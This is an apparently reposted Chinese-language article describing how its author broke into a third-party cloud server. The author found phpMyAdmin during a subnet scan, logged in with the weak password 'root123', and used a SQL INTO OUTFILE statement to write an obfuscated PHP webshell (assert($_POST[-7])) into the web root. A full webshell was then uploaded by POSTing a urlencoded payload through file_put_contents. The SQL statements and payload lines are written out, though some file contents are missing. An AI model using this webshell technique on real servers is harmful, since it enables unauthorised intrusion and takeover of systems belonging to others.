木马GetShell的另类姿势

时间:2020-05-24 07:35:13   浏览:次   点击:次   作者:   来源:   立即下载

  扫C段时发现一机器有phpMyAdmin服务,小编就尝试了一下弱口令,root123果断进入,然后就开始了接下来的一大串资讯内容。  

  探测IP为某云服务器,普通的一句话木马一写入就被杀掉,后改为混淆一句话木马:assert($_POST[-7]);写入一句话木马SQL(网站路径从phpinfo.php获得,其它姿势亦可):usetest;droptableifexiststemp;createtabletemp(cmdtextNOTNULL);insertintotemp(cmd)values("");selectcmdfromtempintooutfile'D:/phpStudy/WWW/phpMyAdmin/indxe.php';droptableifexiststemp;  用菜刀连接一句话木马,连接上后即提示"连接被重置",估计是屏蔽了本机的出口IP,用VPN、切换代理后同样的问题还是会即时出现,所以放弃用菜刀上传webshell,尝试手工post的方法。  

  这里需要先确定下服务器上file_put_contents()函数是否执行,可行的话再执行下面的操作。  

  首先在本地把大马处理好以便于作为post参数:用到了strip_whitespace()函数【返回已删除PHP注释以及空白字符的源代码文件】,urlencode()函数【对字符串进行url编码处理】,file_get_contents()函数【读取txt文件内容】。  

  C盘根目录下需要放一个strip_shell.php文件(待strip_whitespace的php大马),新建strip.php文件和urlencode.php文件,两文件内容分别为(注意两个函数参数):strip.php:urlencode.php: 最后就要用到AdvancedRESTclient插件这里只需用到POST方法,上面一句话小马的密码为-7,即这里Payload模块的key为-7,参数重要部分如下:file_put_contents("D:/phpStudy/WWW/phpMyAdmin/mysqlx.php",urldecode("复制urldecode.php文件所有内容"));。  

收起

相关推荐

相关应用

平均评分 0人
  • 5星
  • 4星
  • 3星
  • 2星
  • 1星
用户评分:
发表评论

评论

  • 暂无评论信息